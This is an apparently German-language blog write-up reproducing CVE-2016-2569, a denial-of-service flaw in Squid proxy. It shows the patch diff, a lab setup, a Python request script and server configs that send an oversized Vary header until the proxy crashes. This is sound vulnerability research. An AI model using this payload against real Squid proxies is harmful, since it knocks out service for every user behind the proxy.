amit-raut/cve-2016-2569
Bei Squid 3.x vor 3.5.15 und 4.x vor 4.0.7 werden Daten nicht ordnungsgemäß an String-Objekte angehängt, wodurch entfernte Server über eine lange Zeichenfolge einen Denial-of-Service (Assertionsfehler und Beendigung des Daemons) auslösen können, wie anhand eines manipulierten HTTP-Vary-Headers demonstriert wird.
Hallo zusammen,
vielen Dank, dass du meinen ersten Blogeintrag liest. Heute beschäftigen wir uns mit der Erstellung eines Exploits für ein Open-Source-Tool – den Squid-Caching-Proxy-Server.
Squid ist ein Caching-Proxy für das Web, der HTTP, HTTPS, FTP und mehr unterstützt. Er reduziert Bandbreite und verbessert Antwortzeiten, indem er häufig angeforderte Webseiten zwischenspeichert und wiederverwendet. Squid verfügt über umfangreiche Zugriffskontrollen und eignet sich hervorragend als Server-Beschleuniger. Squid läuft auf den meisten verfügbaren Betriebssystemen, einschließlich Windows, und ist unter der GNU GPL lizenziert. Weitere Informationen über den Squid-Caching-Proxy findest du auf der offiziellen Website [http://www.squid-cache.org/].
Zunächst hoffe ich, du weißt, was CVE ist :p Es steht jedenfalls für Common Vulnerabilities and Exposures (Weitere Informationen über CVE findest du unter [https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures]).
Zu CVE-2016-2569 finden wir die folgenden Informationen.
Beschreibung: Squid 3.x vor 3.5.15 und 4.x vor 4.0.7 hängt Daten nicht ordnungsgemäß an String-Objekte an, was es Remote-Servern ermöglicht, durch eine lange Zeichenkette einen Denial-of-Service (Assertion-Fehler und Beendigung des Daemons) zu verursachen, wie anhand eines manipulierten HTTP-Vary-Headers demonstriert wird. Mathias Fischer von der Open Systems AG meldete diese Schwachstelle.
Da es sich um ein Open-Source-Projekt handelt, können wir den Patch einsehen, der zur Behebung dieser Schwachstelle verwendet wurde. Anhand der bereitgestellten Schwachstellenbeschreibung können wir bestätigen, dass es sich um eine Art Überlaufversuch handelt. Wir werden tiefer in den Quellcode eintauchen, um dies weiter zu untersuchen.
Der Patch [http://www.squid-cache.org/Versions/v3/3.5/changesets/squid-3.5-13991.patch] bestätigt, dass Änderungen an den folgenden Dateien vorgenommen wurden
Lass uns tiefer graben....
Der Code-Diff für src/String.cc sieht interessant aus, da er eine Assertion für die Variable aSize enthält.
=== modified file 'src/String.cc'
--- src/String.cc 2016-01-01 00:14:27 +0000
+++ src/String.cc 2016-02-19 23:15:41 +0000
@@ -42,7 +42,7 @@
String::setBuffer(char *aBuf, String::size_type aSize)
{
assert(undefined());
- assert(aSize < 65536);
+ assert(aSize <= SizeMax_);
buf_ = aBuf;
size_ = aSize;
}
@@ -171,7 +171,7 @@
} else {
// Create a temporary string and absorb it later.
String snew;
- assert(len_ + len < 65536); // otherwise snew.len_ overflows below
+ assert(canGrowBy(len)); // otherwise snew.len_ may overflow below
snew.len_ = len_ + len;
snew.allocBuffer(snew.len_ + 1);
Basierend auf dem obigen Code-Diff können wir versuchen, die Schwachstelle auszunutzen, indem wir den Wert des Vary-Headers auf mehr als 65536 Bytes setzen.
Lass uns mit der Erstellung unseres Exploit-Setups beginnen.
Wir werden den Squid-Caching-Proxy auf einem Linux-System einrichten (wir verwenden Xubuntu 16.04 LTS). Der Squid-Caching-Proxy cached die Antworten des metanet-HTTP-Servers und sendet dem Client die Antworten aus dem Speichercache, anstatt bei ähnlichen Anfragen den Server anzufragen.
Unsere Netzwerktopologie würde ungefähr wie unten gezeigt aussehen (entschuldige, dass ich bei der Topologie etwas altmodisch bin, aber ich liebe VIM immer noch so sehr).
------------------------- ------------------------- -------------------------
| | | | | |
| metanet | ----> | Squid | -----> | Client |
| 192.168.56.102 | | Caching Proxy | | 192.168.56.1 |
| HTTP Server | <---- | TCP Port 3128 | <---- | Python Requests |
| | | | | |
------------------------- ------------------------- -------------------------
Wir werden Standardabfragen an unseren nginx-HTTP-Server über den Squid-Proxy senden und die Logs prüfen, um festzustellen, ob das Setup wie erwartet funktioniert.
Um unser Leben zu erleichtern, verwenden wir das folgende Python-Skript, um die Anfrage an den Server zu senden. Wichtig ist hier: Die in der Anfrage verwendeten Header ermöglichen es dem Proxy-Server, die Antwort zu cachen. Wenn die Werte der HTTP-Anfrage-Header "If-Modified-Since", "max-age" und "cache-control" nicht korrekt sind, würde die Client-Anfrage den Proxy-Server zwingen, die Antworten beim Server anzufragen. Das würde den Zweck des Proxy-Servers völlig zunichtemachen.
Request.py
#!/usr/bin/env python
import requests, os
proxy = {'http': '192.168.56.102:3128'}
headers = {'If-Modified-Since': 'Wed, 24 Jan 2018 13:58:1 GMT', 'Accept': '*', 'max-age': '20000', 'cache-control': 'public', 'connetction': 'keep-alive', 'user-agent': 'requests2'}
if len(os.sys.argv) != 2:
print "Usage: req [URI]"
os.sys.exit()
print '\nhttp://192.168.56.102:8080/{}'.format(os.sys.argv[1])
r = requests.get('http://192.168.56.102:8080/{}'.format(os.sys.argv[1]), proxies=proxy, headers=headers)
print "\nHTTP Stat Code --> ", r.status_code
print
print "HTTP Response Headers \n",
for h in r.headers:
print h, ": ", r.headers[h]
print
if 'Vary' in r.headers:
print "Vary: ", r.headers['Vary'], "\n"
Wir können sehen, dass der obige Python-Code Header und Proxy setzt und die Python-Requests-Bibliothek verwendet, um die Anfrage an den HTTP-Server unter 192.168.56.102 zu senden. Sobald wir die Antwort vom Server oder Proxy erhalten haben, geben wir die Header aus. Besonders interessiert uns die Vary-Header-Antwort, die vom HTTP-Server oder vom Proxy-Server gesendet wird.
Der nächste Schritt in unserem Setup ist das Einrichten von metanet (HTTP-Server). Wir verwenden metanet, weil es einfach ist, verschiedene HTTP-Antwort-Header zu senden. Alternativ können wir SimpleHTTPServer verwenden, der uns ebenfalls das Senden benutzerdefinierter HTTP-Antworten ermöglicht.
Wir müssen die metanet-Konfigurationsdatei so vorbereiten, dass sie mit dem Vary-Header zusammen mit den notwendigen Headern antwortet, die es dem Squid-Caching-Proxy ermöglichen, ähnliche Antworten im Speicher zu cachen.
Unsere metanet-Konfiguration würde ungefähr so aussehen:
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:NULL\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
Lass uns einen Versuch starten, um zu sehen, ob unser Setup tatsächlich funktioniert!
Basierend auf unserer Konfiguration sieht alles gut aus. w00t w00t!
Lass uns versuchen, die Schwachstelle auszunutzen (indem wir einen langen, auf Strings basierenden Puffer zusammen mit dem HTTP-Vary-Antwort-Header übergeben). Dies ist eine einfache Overflow-Ausnutzung. Aus dem Code-Diff können wir ersehen, dass es eine Assertion gibt, die den Wert von a_size auf nicht mehr als 65536 begrenzt. Wir geben die Länge des Vary-Headers entsprechend groß an.
Idealerweise haben wir nicht 65536 Standard-HTTP-Response-Header (das wäre ein ziemliches Chaos 😛); aber wir können Header erfinden. In diesem Fall kommt es nur auf die Länge der Zeichenkette an, die an den Vary-Header übergeben wird.
Lass uns Python verwenden, um eine laaange Zeichenkette zu erzeugen, wie z. B. python -c 'print "a,b,c,d,e,f," *6000'. Wir verwenden diese Ausgabe, ändern unsere metanet-Konfiguration wie unten gezeigt und testen unseren Exploit.
Unsere metanet-Konfiguration würde ungefähr so aussehen:
[tcp/8080]
"GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
* -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:`a,b,c,d,e,f,`<reapeated 6000 times>"\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()
Wenn wir unsere erste Anfrage an den Proxy senden, scheint alles normal zu sein. Der Proxy schien die Antworten nicht zu cachen; vielleicht wegen der Werte, die wir im Vary-Header-Feld angegeben haben. Die im Vary-Header angegebenen Antwort-Header fließen in die Berechnung der MD5-Summe zur Überprüfung der zwischengespeicherten Inhalte ein.
Lass uns weiterhin mehrere Anfragen an den Proxy senden. Hier stimmt etwas nicht: Der Proxy antwortet nicht auf unsere Anfragen, da wir von der Requests-Bibliothek einen "Proxy Error" erhalten. Lass uns trotzdem weiter Anfragen senden.
Leider. Der Proxy hat aufgrund der häufigen Fehler den Dienst eingestellt. Kein Gerät, das über den Proxy eine Verbindung zum Server herstellt, könnte auf irgendetwas zugreifen. Das ist ein Denial-of-Service für alle Proxy-Benutzer.
